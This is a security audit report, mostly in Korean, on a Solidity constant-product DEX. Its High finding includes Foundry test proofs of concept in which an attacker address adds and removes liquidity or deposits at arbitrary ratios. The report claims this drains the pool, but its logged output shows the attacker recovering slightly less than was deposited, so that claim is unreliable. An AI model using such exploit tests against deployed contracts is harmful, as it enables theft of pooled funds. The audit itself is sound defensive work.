Name | Dex Security Audit |
---|---|
Target / Version | Git Repository (Dex_solidity): commit 1b37751893d23ec3119147f4e8e6d804fb40d1d1 (main branch) |
Application Type | Smart contracts |
Lang. / Platforms | Smart contracts [Solidity] |
ID | Summary | Severity |
---|---|---|
001 | CPMM DEX 로서의 전반적인 Calculation 오류 | High |
일반적인 DEX를 구현 할 때, Stable Coin의 경우 CSMM, 기타 일반 토큰의 경우 CPMM 방식으로 구현하게 되는데, 이를 위한 Calculation 과정이 잘못 구현되어 풀 내 자산 탈취가 가능함. 가령, addLiquidity()
함수 내에서, Pool 내 유동성이 존재하지 않을 때는, 두 자산의 각각의 초기 예치자산 수량 곱의 제곱근으로 LP 토큰의 유동성이 계산되고, 이후 추가적인 유동성이 공급될 때는 별도의 계산으로 처리되는 데, 이 때의 계산이 적절하지 않음. 이에, 아래와 같이 공격자가 유동성 예치 후에 즉시 예치 해제시, 자신이 예치한 유동성보다 기하급수적으로 많은 토큰을 돌려 받음.
function testAddLiquidityAndThenRemoveLiquidity() external {
uint256 lpReturn = dex.addLiquidity(1000 ether, 2000 ether, 0);
emit log_named_uint("lpReturn", lpReturn); // lpReturn: 1414213562373095048801
// Assume that Address 1 belongs to the attacker.
vm.prank(address(1));
uint256 lpReturnByAddressOne = dex.addLiquidity(99 ether, 200 ether, 0);
emit log_named_uint("lpReturnByAddressOne", lpReturnByAddressOne); // lpReturnByAddressOne: 140007142674936409831
vm.prank(address(1));
(uint256 xReceived, uint256 yReceived) = dex.removeLiquidity(140007142674936409831, 0, 0);
emit log_named_uint("xRecieved", xReceived); // xRecieved: 98999999999999999999
emit log_named_uint("yReceived", yReceived); // yReceived: 198180163785259326660
}
또, 유동성 공급이 아래와 같이 기존 Pool 의 자산 비율과 관계없이 이루어질 수 있음
function testArbitaryAddLiquidity() external {
uint256 lpReturn = dex.addLiquidity(1000 ether, 2000 ether, 0);
emit log_named_uint("lpReturn", lpReturn); // lpReturn: 1414213562373095048801
vm.prank(address(1));
// arbitary value 12312312312313213123123 ether and 1 ether is provided to pool.
uint256 lpReturnByAddressOne = dex.addLiquidity(12312312312313213123123 ether, 1 ether, 0);
emit log_named_uint("lpReturnByAddressOne", lpReturnByAddressOne); // Liquidity Providing Succeed Here, lpReturnByAddressOne: 707106781186547524
}
High
공격자가 Pool 내 자산을 탈취할 수 있음.
CPMM DEX 구현 간에 K
(Constant Value) 값의 도입 등, 전반적인 Pool 내 자산 비율 Calculation 정교화 및 고도화 요망.
ID | Summary | Severity |
---|---|---|
002 | LP Token의 관리가 별도의 토큰 스탠다드를 따르는 형태가 아닌, uint256 타입의 total_supply 변수로 이루어짐. |
Informational |
해당 컨트랙트는 LP Token의 공급을 별도의 ERC-20 토큰의 상속 및 활용을 통한 형태로 구현한 것이 아닌, 단지 uint256
타입의 total_supply
변수를 통해 관리하고 있음. 특히, addLiquidity()
및 removeLiquidity()
함수에서는, 유동성 공급이 이루어 졌을 때, 단순히 더하기 및 빼기 연산으로 LP Token의 전체 유통량을 증감시키는데, 만약 Pool의 전체 유동성이 type(uint256).max
값에 도달하면 어떠한 에러 핸들링 없이 유동성 공급이 불가함.
Informational
예기치 못한 유동성 공급 불가로 인한 부작용.
별도의 ERC-20 (Uniswap V2의 경우) 및 ERC-721(Uniswap V3의 경우) 등의 형태로 LP Token 구현 요망
ID | Summary | Severity |
---|---|---|
003 | mapping 타입의 변수가 uint256 상태 변수 사이에 선언되어 존재 |
Informational |
mapping
타입의 balanceOf
변수가, uint256
타입의 상태 변수 선언의 사이에 존재하는데, 이는 Solidity Convention 및 Storage Slot의 효율 상 바람직하지 않은 위치임.
Informational
Code Literacy 및 Gas Optimized 측면에서 향상되지 못한 컨트랙트의 배포.
uint256
타입 변수끼리 정렬하여 선언 후, mapping
타입 변수 선언 요망.